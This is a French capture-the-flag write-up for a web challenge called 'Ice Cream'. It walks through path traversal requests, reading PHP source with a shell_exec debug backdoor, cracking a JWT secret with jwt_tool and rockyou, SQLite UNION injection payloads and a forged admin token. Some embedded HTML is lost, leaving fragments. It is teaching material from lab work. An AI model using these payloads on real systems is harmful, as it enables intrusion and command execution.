Ice Cream ============= On a un site web assez simple avec une seule requête et plusieurs argument possible : .. code-block:: console http://57.128.112.118:10570/?dir=ingredients&file=vanille http://57.128.112.118:10570/?dir=ingredients&file=secret Lorsqu'on choisit l'ingrédient secret, celui ci refuse de s'afficher. On va d'abord tester /etc/passwd avec une path traversal : .. code-block:: console http://57.128.112.118:10570/?dir=../../../../../../etc&file=passwd ==> Access denied On essaie alors simplement avec "/" : .. code-block:: console http://57.128.112.118:10570/?dir=/&file=passwd
  • admin.php
  • admin.txt
  • auth.php
  • flavors.db
  • index.php
  • ingredients
  • jwt_secret.txt
  • secrets
  • styles.css
  • On peut maintenant lire les différents fichiers : - admin.php .. code-block:: php 'HS256', 'typ' => 'JWT'])); $payload = base64url_encode(json_encode(['role' => 'simple-utilisateur'])); $signature = base64url_encode(hash_hmac('sha256', "$header.$payload", $secret, true)); $jwt = "$header.$payload.$signature"; setcookie('auth', $jwt, time() + 3600, "/"); $_COOKIE['auth'] = $jwt; } if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['debug'])) { if (!$canExecute) { echo "

    Tu ne peux pas executer de commandes avec debug tant que tu n'es pas authentifié en tant qu'admin

    "; exit; } $cmd = $_GET['debug']; $output = shell_exec($cmd); echo "
    $output
    "; exit; } ?> - auth.php .. code-block:: HTML 'auth' cookie recherche

    EN COURS DE DEVELOPPEMENT NE PAS UTILISER (signé le stagiaire)

    La table 'auth' permettra de rechercher tous les types d'utilisateurs pour la future authentification

    example : simple-utilisateur

    - index.php .. code-block:: php Ice Cream Ingredients

    PAPI GLACE, l'expert des glaces 3 boules

    Découvrez tous les ingrédients exceptionnels qui font de nous le vendeur de glace numéro 1 à Cannes avec notre iconique glace a 3 boules

    Nos ingedients pour une glace comme fait notre papi: "; echo ""; } else { echo "

    Dossier d'ingredients invalide.

    "; } ?>
    Image file

    "; } else if ($requestedFile === 'admin.txt') { echo "

    T'es pas admin je crois nan?

    "; } else if ($requestedFile === 'flavors.db') { echo "

    Touche pas à ma db!

    "; } else if ($requestedFile === 'jwt_secret.txt') { echo "

    Pas touche!

    "; } else { echo "

    Notre " . htmlspecialchars($requestedFile) . ":

    "; echo "
    " . htmlspecialchars(file_get_contents($filePath)) . "
    "; } } else { echo "

    Ingredient invalide.

    "; } } ?>
    Les autres fichiers sont inaccessible, on peut tout même trouver l'ingrédient secret mais résultat : http://57.128.112.118:10570/?dir=%2Fsecrets&file=ingr%C3%A9dient+secret "OH LE BAIT AHAHA..." Jamais je ne mettrai mon ingredient secret dans un fichier visible comme ca. signe Jonathan le stagiaire" Donc on a besoin de la clé jwt pour forger un token admin et utiliser la fonctionnalité debug qui exécute des commandes. On va cracker la clé du JWT avec jwt_tool et rockyou : .. code-block:: console python3 jwt_tool -C -d rockyou.txt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoic2ltcGxlLXV0aWxpc2F0ZXVyIn0.0jureYiNTgso9kOqPJoouKMhJmPg8fTZ1Lm0NPKIINM" On obtient le mot de passe "icecream" On peut donc forger un nouveau token. Cependant cela ne fonctionne pas avec : - role = admin - role = administrateur - role = administrator - role = papi - role = simple-admin - role = simple-administrateur Il faut qu'on trouve exactement ce que contient le token admin pour avoir exactement le même. En faites si on se rend sur : http://57.128.112.118:10570/?dir=%2F&file=auth.php On a alors un formulaire qui va nous permettre de trouver le bon rôle, probablement via une injection SQL Caractère interdits : = " 0 ( ) * .. code-block:: console 1' UNION SELECT version -- SQLite3::query(): Unable to prepare statement: 1, no such column: version in /var/www/html/auth.php on line 21 Database Error: no such column: version 1' UNION SELECT sql from sqlite_schema -- CREATE TABLE "auth" ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255) NOT NULL ) est un type d'auth 1' UNION SELECT name from auth -- PAPI-JE-SUIS-UN-ADMIN est un type d'auth. client est un type d'auth. simple-utilisateur est un type d'auth. Il faut donc faire role = PAPI-JE-SUIS-UN-ADMIN On le fait avec jwt_tool comme d'habitude Pourtant cela ne fonctionne pas malgré l'utilisation de jwt_tool pour modifier et resigner le token. Finalement il y avait un problème dans le challenge, on garde notre cookie de coté : .. code-block:: console eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiUEFQSS1KRS1TVUlTLVVOLUFETUlOIn0.-nbupCaKoUpMjBNbrGRj904w1mJKwrCcQ2uLAGWgTlc Une fois le challenge modifié on peut l'utiliser pour obtenir le flag via la fonction debug, le fichier est caché dans le dossiers "secrets" Flag : pas noté